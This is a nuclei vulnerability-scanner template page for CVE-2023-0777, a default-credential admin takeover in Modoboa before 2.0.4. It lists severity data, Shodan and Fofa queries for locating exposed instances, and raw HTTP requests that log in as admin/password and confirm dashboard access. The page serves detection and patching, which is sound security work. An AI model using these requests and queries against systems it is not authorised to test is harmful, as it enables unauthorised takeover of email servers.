CVE-2023-0777: modoboa 2.0.4 - Admin TakeOver
- Template: CVE-2023-0777
- Name: modoboa 2.0.4 - Admin TakeOver
- Description: Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
- Impact: Unauthenticated attackers can exploit authentication bypass using default credentials to gain administrator access and completely compromise Modoboa email server installations.
- Remediation: update to version 2.0.4
- Severity: critical
- Authors: r3Y3r53
- Tags: cve2023, cve, huntr, packetstorm, modoboa, default-login, vuln
- References: https://huntr.dev/bounties/a17e7a9f-0fee-4130-a522-5a0466fc17c7/, http://packetstormsecurity.com/files/171744/modoboa-2.0.4-Admin-Takeover.html, https://github.com/modoboa/modoboa/commit/47d17ac6643f870719691073956a26e4be0a4806, https://github.com/7h3h4ckv157/7h3h4ckv157
- Cves: CVE-2023-0777
- Verified: yes
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-0777.yaml
- Digest: 4a0a0047304502207cfe8f0194e14795d55c1c6cc3fe2fc9c0d9728d03284e8fe44724a90e9bad78022100d23791555985d8bc6a7845c80c09e35a4e679aab8477507308969f163a000c6e
- Created at: 2023-10-17T17:47:17Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1134
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0777.yaml
Classification
- Cwe: CWE-305
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.15238
- Epss percentile: 0.96844
- Cpe: cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="Modoboa", body="modoboa", icon_hash=1949005079
- Max-request: 3
- Product: modoboa
- Shodan-query: html:"Modoboa", http.favicon.hash:1949005079, http.html:"modoboa"
- Vendor: modoboa
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| modoboa:modoboa | yes | /v1/products/modoboa/modoboa |
Labels
- Name: modoboa modoboa - Authentication Bypass
- Impact: Attackers can bypass authentication, gaining unauthorized access to user accounts or sensitive data.
- Remediation: Update to version 2.0.4 or later.
- Vulnerability type: broken_authentication
- Vulnerability impact: privilege_escalation, information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-0777
- Not known: requirements
```yaml
id: CVE-2023-0777
info:
name: modoboa 2.0.4 - Admin TakeOver
author: r3Y3r53
severity: critical
description: |
Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
impact: |
Unauthenticated attackers can exploit authentication bypass using default credentials to gain administrator access and completely compromise Modoboa email server installations.
remediation: update to version 2.0.4
reference:
- https://huntr.dev/bounties/a17e7a9f-0fee-4130-a522-5a0466fc17c7/
- http://packetstormsecurity.com/files/171744/modoboa-2.0.4-Admin-Takeover.html
- https://github.com/modoboa/modoboa/commit/47d17ac6643f870719691073956a26e4be0a4806
- https://github.com/7h3h4ckv157/7h3h4ckv157
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-0777
cwe-id: CWE-305,NVD-CWE-Other
epss-score: 0.15238
epss-percentile: 0.96844
cpe: cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: modoboa
product: modoboa
shodan-query:
- html:"Modoboa"
- http.favicon.hash:1949005079
- http.html:"modoboa"
fofa-query:
- body="Modoboa"
- body="modoboa"
- icon_hash=1949005079
tags: cve2023,cve,huntr,packetstorm,modoboa,default-login,vuln
http:
- raw:
- |
GET /accounts/login/ HTTP/1.1
Host: {{Hostname}}
- |
POST /accounts/login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken={{csrftoken}}&username={{username}}&password={{password}}&next=%2F
- |
GET /dashboard/ HTTP/1.1
Host: {{Hostname}}
payloads:
username:
- admin
password:
- password
attack: pitchfork
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(content_type_3, "text/html")'
- 'contains(body_3, "Dashboard") && contains(body_3, "Hello admin")'
condition: and
extractors:
- type: regex
part: header
name: csrftoken
internal: true
group: 1
regex:
- csrftoken=([A-Za-z0-9]+)
digest: 4a0a0047304502207cfe8f0194e14795d55c1c6cc3fe2fc9c0d9728d03284e8fe44724a90e9bad78022100d23791555985d8bc6a7845c80c09e35a4e679aab8477507308969f163a000c6e:922c64590222798bb761d5b6d8e72950
```